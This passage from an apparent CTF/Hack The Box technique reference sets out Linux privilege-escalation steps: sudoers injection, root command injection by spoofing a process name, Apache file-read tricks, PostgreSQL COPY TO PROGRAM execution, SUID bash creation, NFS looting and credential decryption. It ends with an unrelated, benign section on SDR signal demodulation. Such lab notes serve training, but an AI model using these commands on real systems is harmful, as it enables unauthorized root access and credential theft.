Avoid 0x0a (newline) bytes in binary headers: use IPs like 192.168.x.x (not 10.x.x.x) and select ports/timestamps carefully. The valid sudoers entries appear between binary junk lines.
# Payload embedded in each UDP packet
payload = b"\nwww-data ALL=(ALL:ALL) NOPASSWD: ALL\n"
# Avoid 10.x.x.x IPs (0x0a byte = newline in binary headers)
# Use 192.168.1.1/192.168.1.2, ports 12345/9999, timestamps 100-109Key insight: Sudo's parser recovers from errors (yacc error productions skip to next newline) while cron's parser rejects the entire file on the first syntax error. This makes /etc/sudoers.d/ a viable target for binary-format file injection while /etc/cron.d/ is a dead end.
---
Monit confcheck Process Command-Line Injection (Zero HTB)
Monit runs health-check scripts as root every 60 seconds. The script uses pgrep -lfa to find processes matching a regex, extracts their command line, modifies it (e.g., replaces apache2 with apache2ctl), and executes the result as root.
Create a fake process with injected extra flags in its command line. Perl's $0 assignment sets an arbitrary process name visible to pgrep:
# Monit confcheck script pattern:
# pgrep -lfa "^/opt/app/bin/apache2.-k.start.-d./opt/app/conf"
# -> replaces apache2->apache2ctl, appends -t, executes as root
# Inject extra flags via fake process:
perl -e '$0 = "/opt/app/bin/apache2 -k start -d /opt/app/conf -d /dev/shm/malconf -E /dev/shm/malconf/startup.log"; sleep 300' &Key insight: When a root script uses pgrep to extract a process command line and then executes a modified version, creating a fake process with extra arguments allows injecting flags into root-executed commands. Perl's $0 or Python's setproctitle make process name spoofing trivial.
---
Apache -d Last-Wins ServerRoot Override (Zero HTB)
When multiple -d flags are specified, Apache uses the last one. Combined with -E (startup error log redirect), this provides both config control and output capture. Place Include /root/root.txt in a malicious config — Apache tries to parse the flag file as a directive and dumps its content in the error message.
# Create malicious Apache config
mkdir -p /dev/shm/malconf
cat > /dev/shm/malconf/apache2.conf << 'EOF'
ServerRoot "/etc/apache2"
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
Include /root/root.txt
EOF
# Fake process injects -d (override ServerRoot) and -E (error log to readable file)
# After monit triggers confcheck, read error log:
cat /dev/shm/malconf/startup.log
# AH00526: Syntax error on line 1 of /root/root.txt:
# Invalid command 'FLAG_CONTENT_HERE'...Key insight: Apache config parse errors expose file content in error messages. Include /path/to/file causes Apache to read the file and report its content as an "Invalid command" error — a reliable file-read primitive when combined with -E output redirection.
---
Backup Cronjob SUID Abuse (Slonik HTB)
Root cronjob copies files from a user-controlled directory (e.g., PostgreSQL data directory). Place a SUID (Set User ID) bash binary in the source directory — when the cronjob copies it, the file becomes root-owned while retaining the SUID bit.
-- Copy bash with SUID to PostgreSQL data directory
COPY (SELECT '') TO PROGRAM 'cp /bin/bash /var/lib/postgresql/14/main/bash && chmod 4777 /var/lib/postgresql/14/main/bash';
-- After backup cronjob runs, the copy at /opt/backups/current/bash is root-owned SUID
-- Execute: /opt/backups/current/bash -pKey insight: When a root cronjob copies an entire directory, file ownership changes to root. SUID binaries in the source become root-owned SUID in the destination. The -p flag on bash preserves effective UID.
---
PostgreSQL COPY TO PROGRAM RCE (Slonik HTB)
PostgreSQL superuser can execute OS commands via COPY TO PROGRAM. Read command output by writing to a temp file and using pg_read_file().
-- Execute commands as postgres user
COPY (SELECT '') TO PROGRAM 'id > /tmp/test.txt';
SELECT pg_read_file('/tmp/test.txt');
-- uid=115(postgres) gid=123(postgres)
-- Read arbitrary files
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/user.txt');---
PostgreSQL Backup Credential Extraction (Slonik HTB)
pg_basebackup archives contain password hashes in pg_authid (file global/1260). SCRAM-SHA-256 hashes (format: SCRAM-SHA-256$4096:salt$stored_key:server_key) can be cracked offline. Restore the backup locally with Docker to access full database contents.
# Mount NFS share, extract backup zip
showmount -e TARGET && mount -t nfs TARGET:/var/backups /mnt
# Extract pg_authid from global/1260 for password hashes
# Restore backup: docker run -v /path/to/backup:/var/lib/postgresql/data postgres:14
# Connect and dump user tables for credentials---
SSH Unix Socket Tunneling (Slonik HTB)
When a service only listens on a Unix socket (not TCP), use SSH local port forwarding to tunnel traffic to it. Works even when the user has /bin/false as login shell — the -T -fN flags skip terminal allocation and command execution.
# Forward local port 25432 to remote PostgreSQL Unix socket
sshpass -p 'password' ssh -T -o StrictHostKeyChecking=no \
-fNL 25432:/var/run/postgresql/.s.PGSQL.5432 user@TARGET
# Connect via forwarded port
PGPASSWORD='postgres' psql -h localhost -p 25432 -U postgresKey insight: SSH -L localport:unix_socket_path forwards to Unix sockets, not just TCP ports. -T prevents terminal allocation, -f backgrounds SSH, -N prevents command execution — together these work even with restricted shells like /bin/false.
---
NFS Share Exploitation for Sensitive Data (Slonik HTB)
Enumerate and mount NFS (Network File System) shares to find database backups, SSH keys, and config files with credentials:
showmount -e TARGET
# /var/backups (everyone)
# /home (everyone)
mount -t nfs TARGET:/var/backups /mnt/backups
mount -t nfs TARGET:/home /mnt/home
# Check for: database backups, SSH keys, config files with credentials---
PaperCut Print Deploy Privilege Escalation (Bamboo HTB)
Root-owned systemd service (pc-print-deploy) runs binaries from a user-owned directory (/home/papercut/). The server-command shell script, owned by the papercut user, executes as root during certain admin operations. Modify this user-owned script to inject a payload, then trigger execution via admin API.
# Modify user-owned script that root executes
echo 'chmod u+s /bin/bash' >> ~/server/bin/linux-x64/server-command
# Trigger root execution via PaperCut admin API
curl -c /tmp/cookies.txt "http://localhost:9191/app?service=page/SetupCompleted"
curl -b /tmp/cookies.txt "http://localhost:9191/print-deploy/admin/api/mobilityServers/v2?refresh=true"
# Execute SUID bash
bash -pKey insight: When a root-owned service runs binaries or scripts from a user-writable directory, check ls -la on every file in the execution path. The systemd service file (/etc/systemd/system/) defines ExecStart but may lack User= directive, running everything as root.
---
Squid Proxy Pivoting to Internal Services (Bamboo HTB)
Route traffic through a Squid proxy to reach internal services not directly accessible:
# Enumerate internal services through Squid proxy
curl -x http://TARGET:3128 http://127.0.0.1:9191/app
curl -x http://TARGET:3128 http://127.0.0.1:8080/
# Set proxy for all tools:
export http_proxy=http://TARGET:3128---
Zabbix Admin Password Reset via MySQL (Watcher HTB)
With MySQL access to the Zabbix database, reset the admin password directly:
-- Reset Zabbix admin password to "zabbix" (bcrypt hash)
UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
-- Note: username is case-sensitive ("Admin" not "admin")---
WinSSHTerm Encrypted Credential Decryption (Atlas HTB)
WinSSHTerm (.NET) stores encrypted SSH credentials in connections.xml with key material in a key file. Decompile with ILSpy/dnSpy to reverse the multi-layer encryption:
1. Layer 1: Key file decrypted with PBKDF2-HMAC-SHA1 (Password-Based Key Derivation Function 2) using 1012 iterations, obfuscated prefix + master password + suffix, and a hardcoded salt 2. Layer 2: Decrypted key split into PasswordKey (even bytes, bitwise NOT'd) and SaltKey (odd bytes, NOT'd) 3. Layer 3: Stored password decrypted with PBKDF2 derived from PasswordKey/SaltKey 4. Master password often crackable with rockyou.txt 5. XOR obfuscated string table: data[i] = (data[i] ^ i) ^ 0xAA
Key insight: Desktop SSH clients with "encrypted" credential storage are only as strong as the master password. Decompile the .NET binary, extract the crypto constants, and brute-force the master password. The encryption scheme's complexity is irrelevant if the master password is weak.
CTF Misc - RF / SDR / IQ Signal Processing
Techniques for Software-Defined Radio (SDR) signal processing using In-phase/Quadrature (IQ) data.
IQ File Formats
- cf32 (complex float 32): GNU Radio standard,
np.fromfile(path, dtype=np.complex64) - cs16 (complex signed 16-bit):
np.fromfile(path, dtype=np.int16).reshape(-1,2), thenI + jQ - cu8 (complex unsigned 8-bit): RTL-SDR raw format
Analysis Pipeline
import numpy as np
from scipy import signal
# 1. Load IQ data
iq = np.fromfile('signal.cf32', dtype=np.complex64)
# 2. Spectrum analysis - find occupied bands
fft_data = np.fft.fftshift(np.fft.fft(iq[:4096]))
freqs = np.fft.fftshift(np.fft.fftfreq(4096))
power_db = 20*np.log10(np.abs(fft_data)+1e-10)
# 3. Identify symbol rate via cyclostationary analysis
x2 = np.abs(iq_filtered)**2 # squared magnitude
fft_x2 = np.abs(np.fft.fft(x2, n=65536))
# Peak in fft_x2 = symbol rate (samples_per_symbol = 1/peak_freq)
# 4. Frequency shift to baseband
center_freq = 0.14 # normalized frequency of band center
t = np.arange(len(iq))
baseband = iq * np.exp(-2j * np.pi * center_freq * t)
# 5. Low-pass filter to isolate band
lpf = signal.firwin(101, bandwidth/2, fs=1.0)
filtered = signal.lfilter(lpf, 1.0, baseband)QAM-16 Demodulation with Carrier + Timing Recovery
QAM-16 (Quadrature Amplitude Modulation) — the key challenge is carrier frequency offset causing constellation rotation (circles instead of points).
Decision-directed carrier recovery + Mueller-Muller timing:
# Loop parameters (2nd order PLL)
carrier_bw = 0.02 # wider BW = faster tracking, more noise
damping = 1.0
theta_n = carrier_bw / (damping + 1/(4*damping))
Kp = 2 * damping * theta_n # proportional gain
Ki = theta_n ** 2 # integral gain
carrier_phase = 0.0
carrier_freq = 0.0
for each symbol sample:
# De-rotate by current phase estimate
symbol = raw_sample * np.exp(-1j * carrier_phase)
# Find nearest constellation point (decision)
nearest = min(constellation, key=lambda p: abs(symbol - p))
# Phase error (decision-directed)
error = np.imag(symbol * np.conj(nearest)) / (abs(nearest)**2 + 0.1)
# Update 2nd order loop
carrier_freq += Ki * error
carrier_phase += Kp * error + carrier_freqMueller-Muller timing error detector:
timing_error = (Re(y[n]-y[n-1]) * Re(d[n-1]) - Re(d[n]-d[n-1]) * Re(y[n-1]))
+ (Im(y[n]-y[n-1]) * Im(d[n-1]) - Im(d[n]-d[n-1]) * Im(y[n-1]))
# y = received symbol, d = decision (nearest constellation point)Key Insights for RF CTF Challenges
- Circles in constellation = constant frequency offset (points rotate at fixed rate, forming a ring)
- Spirals = frequency offset that drifts over time (ring radius changes as amplitude/AGC also drifts). If you see points tracing outward arcs rather than closed circles, suspect combined frequency + gain instability
- Blobs on grid = correct sync, just noise
- 4-fold ambiguity: DD carrier recovery can lock with 0/90/180/270 rotation - try all 4
- Bandwidth vs symbol rate: BW = Rs x (1 + alpha), where alpha is roll-off factor (0 to 1)
- RC vs RRC: "RC pulse shaping" at TX means receiver just samples (no matched filter needed); "RRC" means apply matched RRC filter at RX
- Cyclostationary peak at Rs confirms symbol rate even without knowing modulation order
- AGC: normalize signal power to match constellation power:
scale = sqrt(target_power / measured_power) - GNU Radio's QAM-16 default mapping is NOT Gray code - always check the provided constellation map
Common Framing Patterns
- Idle/sync pattern repeating while link is idle
- Start delimiter (often a single symbol like 0)
- Data payload (nibble pairs for QAM-16: high nibble first, low nibble)
- End delimiter (same as start, e.g., 0)
- The idle pattern itself may contain the delimiter value - distinguish by context (is it part of the 16-symbol repeating pattern?)